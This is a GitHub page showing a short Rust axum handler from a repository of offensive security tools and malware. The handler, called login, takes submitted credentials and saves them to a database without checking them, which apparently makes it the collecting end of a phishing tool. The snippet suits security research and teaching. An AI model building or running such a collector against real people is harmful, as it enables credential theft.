Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

562 B
Raw Blame
use crate::db;
use axum::{extract::Extension, http::StatusCode, response::IntoResponse, Json};
use common::api::model;
use sqlx::SqlitePool;

pub async fn login(
    Extension(pool): Extension<SqlitePool>,
    Json(credentials): Json<model::Login>,
) -> impl IntoResponse {
    let result = db::insert(&pool, &credentials).await;
    if result.is_ok() {
        (StatusCode::OK, Json(model::LoginResponse { ok: true }))
    } else {
        (
            StatusCode::INTERNAL_SERVER_ERROR,
            Json(model::LoginResponse { ok: false }),
        )
    }
}